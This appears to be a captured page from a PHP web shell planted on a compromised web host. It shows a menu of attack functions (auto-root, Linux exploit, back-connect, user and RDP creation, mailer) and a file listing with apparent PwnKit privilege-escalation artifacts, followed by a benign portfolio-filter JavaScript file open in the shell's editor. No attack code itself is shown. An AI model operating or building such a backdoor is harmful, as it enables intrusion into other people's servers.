Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signalhgai.org /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
1imrtle
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
bcdw1rf
[ DIR ]
drwxr-xr-x
hqszvyj
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
ms1nvlx
[ DIR ]
drwxr-xr-x
pjbgwqa
[ DIR ]
drwxr-xr-x
product-images
[ DIR ]
drwxr-xr-x
seudlrb
[ DIR ]
drwxr-xr-x
ssl
[ DIR ]
drwxr-xr-x
wjoxet1
[ DIR ]
drwxr-xr-x
yagdwcx
[ DIR ]
drwxr-xr-x
.env
74
B
-rw-r--r--
.htaccess
199
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
DEPLOY-NAMECHEAP.md
1.26
KB
-rw-rw-rw-
about.html
30
KB
-rw-rw-rw-
admin-leads.html
6.59
KB
-rw-rw-rw-
admin-leads.js
23.46
KB
-rw-rw-rw-
admin-users.json
590
B
-rw-rw-rw-
admin.html
7.01
KB
-rw-rw-rw-
admin.js
111.38
KB
-rw-rw-rw-
app.js
116.05
KB
-rw-rw-rw-
cms-data.js
83.07
KB
-rw-rw-rw-
cms-data.json
83.05
KB
-rw-rw-rw-
content-store.js
7.37
KB
-rw-rw-rw-
dev-server.js
26.75
KB
-rw-rw-rw-
goat1.php
143.87
KB
-rw-r--r--
index.css
365.46
KB
-rw-rw-rw-
index.html
46.94
KB
-rw-rw-rw-
industries.html
31.63
KB
-rw-rw-rw-
leads-data.json
692
B
-rw-rw-rw-
license-lcan.php
629
B
-rw-r--r--
package-lock.json
244
B
-rw-r--r--
package.json
249
B
-rw-rw-rw-
privacy-policy.html
20.07
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rwxr-xr-x
robots.txt
94
B
-rw-r--r--
service-data.js
19.3
KB
-rw-rw-rw-
service-page.js
74.19
KB
-rw-rw-rw-
service.html
29.76
KB
-rw-rw-rw-
signalhgai-ai-ready-websites-d...
0
B
-rw-rw-rw-
signalhgai-ai-ready-websites-d...
130.34
KB
-rw-rw-rw-
signalhgai-landing-page-design...
0
B
-rw-rw-rw-
signalhgai-landing-page-design...
129.64
KB
-rw-rw-rw-
signalhgai-offer-page-copy-dom...
0
B
-rw-rw-rw-
signalhgai-offer-page-copy-dom...
129.25
KB
-rw-rw-rw-
signalhgai-responsive-page-sys...
0
B
-rw-rw-rw-
signalhgai-responsive-page-sys...
128.85
KB
-rw-rw-rw-
signalhgai-seo-ready-structure...
0
B
-rw-rw-rw-
signalhgai-seo-ready-structure...
129.71
KB
-rw-rw-rw-
signalhgai-service-demo.png
1.33
MB
-rw-rw-rw-
signalhgai-service-dom.err
0
B
-rw-rw-rw-
signalhgai-service-dom.html
127.97
KB
-rw-rw-rw-
signalhgai-service-tall.png
4.71
MB
-rw-rw-rw-
technology-data.js
22.12
KB
-rw-rw-rw-
technology-page.js
11.23
KB
-rw-rw-rw-
technology.html
27.29
KB
-rw-rw-rw-
work-data.js
4.16
KB
-rw-rw-rw-
work-renderer.js
11.88
KB
-rw-rw-rw-
work.html
37.32
KB
-rw-rw-rw-
wxojsgts.php
167.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : work-renderer.js
(function () { const workFilterState = { service: "", tech: "" }; let workControlsBound = false; let workDocumentEventsBound = false; document.addEventListener("DOMContentLoaded", () => { renderHomeWork(); renderWorkPage(); }); function getItems() { return Array.isArray(window.signalWorkCatalog) ? window.signalWorkCatalog : []; } function escapeHtml(value) { return window.SignalCMS?.escapeHtml(value) || String(value ?? ""); } function renderHomeWork() { const grid = document.querySelector("[data-home-work-grid]"); if (!grid) return; const items = getItems() .filter((item) => item.showOnHome) .slice(0, 3); grid.innerHTML = items.map((item) => renderWorkCard(item, { home: true })).join(""); } function renderWorkPage() { const featuredSlot = document.querySelector("[data-work-featured]"); const grid = document.querySelector("[data-work-grid]"); if (!featuredSlot && !grid) return; const items = getItems(); const featured = items.find((item) => item.featured) || items[0]; const rest = items.filter((item) => item !== featured); if (featuredSlot && featured) { featuredSlot.outerHTML = renderWorkCard(featured, { featured: true }); } if (grid) { grid.innerHTML = rest.map((item) => renderWorkCard(item)).join(""); } updateWorkCounts(items); setupWorkControls(items); applyWorkFilters(); } function renderWorkCard(item, options = {}) { const title = escapeHtml(item.title); const description = escapeHtml(item.description || item.summary); const tags = (item.tags || []).map((tag) => `<span>${escapeHtml(tag)}</span>`).join(""); const image = window.SignalCMS?.normalizeImage(item.image) || { src: "assets/hero-specialist.png", position: "center" }; const cardClass = options.featured ? "case-card case-featured" : "case-card"; const label = escapeHtml(`Start a ${item.category || item.title} project`); const workAttributes = options.home ? "" : [ "data-work-item", options.featured ? "data-work-featured" : "", `data-work-category="${escapeHtml(item.category || "")}"`, `data-work-tags="${escapeHtml((item.tags || []).join("|"))}"` ].filter(Boolean).join(" "); return ` <article class="${cardClass}" ${workAttributes}> <div class="case-media case-media-photo${options.featured ? " case-media-featured" : ""}"> <img src="${escapeHtml(image.src)}" alt="${title}" loading="${options.featured ? "eager" : "lazy"}" style="object-position: ${escapeHtml(image.position || "center")}"> <span class="case-sweep${options.featured ? " case-sweep-large" : ""}" aria-hidden="true"></span> <span class="case-signal-dot dot-one" aria-hidden="true"></span> <span class="case-signal-dot dot-two" aria-hidden="true"></span> <span class="case-signal-dot dot-three" aria-hidden="true"></span> </div> <div class="case-body"> <div class="case-title-row"> <h3>${title}</h3> <a class="case-open" href="#contact" data-contact-open aria-label="${label}"> <svg viewBox="0 0 24 24" aria-hidden="true"><path d="M7 17 17 7M9 7h8v8" /></svg> </a> </div> <p>${description}</p> <div class="case-tags">${tags}</div> </div> </article> `; } function setupWorkControls(items) { const services = uniqueValues(items.map((item) => item.category)); const technologies = uniqueValues(items.flatMap((item) => item.tags || [])); renderFilterMenu("service", services, "All services"); renderFilterMenu("tech", technologies, "All technologies"); if (!workControlsBound) { document.querySelectorAll("[data-work-menu-toggle]").forEach((button) => { button.addEventListener("click", (event) => { event.preventDefault(); event.stopPropagation(); toggleWorkMenu(button.dataset.workMenuToggle); }); }); document.querySelectorAll("[data-work-menu]").forEach((menu) => { menu.addEventListener("click", (event) => { const option = event.target.closest("[data-work-filter-option]"); if (!option) return; event.preventDefault(); const type = option.dataset.workFilterOption; if (!Object.prototype.hasOwnProperty.call(workFilterState, type)) return; workFilterState[type] = option.dataset.value || ""; closeWorkMenus(); syncWorkControls(); applyWorkFilters(); }); }); document.querySelectorAll("[data-work-tab]").forEach((tab) => { tab.addEventListener("click", (event) => { event.preventDefault(); workFilterState.service = tab.dataset.workTab || ""; workFilterState.tech = ""; closeWorkMenus(); syncWorkControls(); applyWorkFilters(); }); }); document.querySelectorAll("[data-work-clear]").forEach((link) => { link.addEventListener("click", (event) => { event.preventDefault(); workFilterState.service = ""; workFilterState.tech = ""; closeWorkMenus(); syncWorkControls(); applyWorkFilters(); }); }); workControlsBound = true; } if (!workDocumentEventsBound) { document.addEventListener("click", (event) => { const target = event.target; if (!(target instanceof Element) || !target.closest(".work-filter-control")) { closeWorkMenus(); } }); document.addEventListener("keydown", (event) => { if (event.key === "Escape") { closeWorkMenus(); } }); workDocumentEventsBound = true; } syncWorkControls(); } function uniqueValues(values) { return Array.from(new Set(values.filter(Boolean))); } function renderFilterMenu(type, values, allLabel) { const menu = document.querySelector(`[data-work-menu="${type}"]`); if (!menu) return; const options = [{ label: allLabel, value: "" }].concat( values.map((value) => ({ label: value, value })) ); menu.innerHTML = options.map((option) => ` <button class="work-menu-option" type="button" data-work-filter-option="${type}" data-value="${escapeHtml(option.value)}" aria-pressed="false"> ${escapeHtml(option.label)} </button> `).join(""); } function toggleWorkMenu(type) { const menu = document.querySelector(`[data-work-menu="${type}"]`); if (!menu) return; if (menu.hidden) { openWorkMenu(type); } else { closeWorkMenus(); } } function openWorkMenu(type) { document.querySelectorAll("[data-work-menu]").forEach((menu) => { const isOpen = menu.dataset.workMenu === type; menu.hidden = !isOpen; }); document.querySelectorAll("[data-work-menu-toggle]").forEach((button) => { const isOpen = button.dataset.workMenuToggle === type; button.classList.toggle("is-open", isOpen); button.setAttribute("aria-expanded", String(isOpen)); }); } function closeWorkMenus() { document.querySelectorAll("[data-work-menu]").forEach((menu) => { menu.hidden = true; }); document.querySelectorAll("[data-work-menu-toggle]").forEach((button) => { button.classList.remove("is-open"); button.setAttribute("aria-expanded", "false"); }); } function syncWorkControls() { const labels = { service: "Services", tech: "Technologies" }; document.querySelectorAll("[data-work-menu-toggle]").forEach((button) => { const type = button.dataset.workMenuToggle; const value = workFilterState[type] || ""; const label = button.querySelector("strong"); if (label) { label.textContent = value || labels[type] || ""; } button.classList.toggle("has-selection", Boolean(value)); button.setAttribute("aria-label", value ? `${labels[type]} filter: ${value}` : `${labels[type]} filter`); }); document.querySelectorAll("[data-work-filter-option]").forEach((option) => { const type = option.dataset.workFilterOption; const isActive = (option.dataset.value || "") === (workFilterState[type] || ""); option.classList.toggle("is-active", isActive); option.setAttribute("aria-pressed", String(isActive)); }); document.querySelectorAll("[data-work-tab]").forEach((tab) => { const isActive = (tab.dataset.workTab || "") === workFilterState.service && !workFilterState.tech; tab.classList.toggle("is-active", isActive); if (isActive) { tab.setAttribute("aria-current", "true"); } else { tab.removeAttribute("aria-current"); } }); document.querySelectorAll("[data-work-clear]").forEach((link) => { link.classList.toggle("is-active", Boolean(workFilterState.service || workFilterState.tech)); }); } function applyWorkFilters() { const cards = Array.from(document.querySelectorAll("[data-work-item]")); let visibleCount = 0; cards.forEach((card) => { const tags = (card.dataset.workTags || "").split("|").filter(Boolean); const matchesService = !workFilterState.service || card.dataset.workCategory === workFilterState.service; const matchesTech = !workFilterState.tech || tags.includes(workFilterState.tech); const isVisible = matchesService && matchesTech; card.hidden = !isVisible; if (isVisible) visibleCount += 1; }); const empty = ensureWorkEmptyState(); if (empty) { empty.hidden = visibleCount > 0; } } function ensureWorkEmptyState() { let empty = document.querySelector("[data-work-empty]"); if (empty) return empty; const grid = document.querySelector("[data-work-grid]"); if (!grid) return null; empty = document.createElement("div"); empty.className = "work-empty"; empty.dataset.workEmpty = ""; empty.hidden = true; empty.innerHTML = "<strong>No matching work yet.</strong><span>Clear a filter to see more projects.</span>"; grid.insertAdjacentElement("afterend", empty); return empty; } function updateWorkCounts(items) { const categories = new Set(items.map((item) => item.category).filter(Boolean)); const tags = new Set(items.flatMap((item) => item.tags || [])); document.querySelectorAll("[data-work-service-count]").forEach((node) => { node.textContent = String(Math.max(categories.size, 1)); }); document.querySelectorAll("[data-work-tech-count]").forEach((node) => { node.textContent = String(Math.max(tags.size, 1)); }); } })();
Close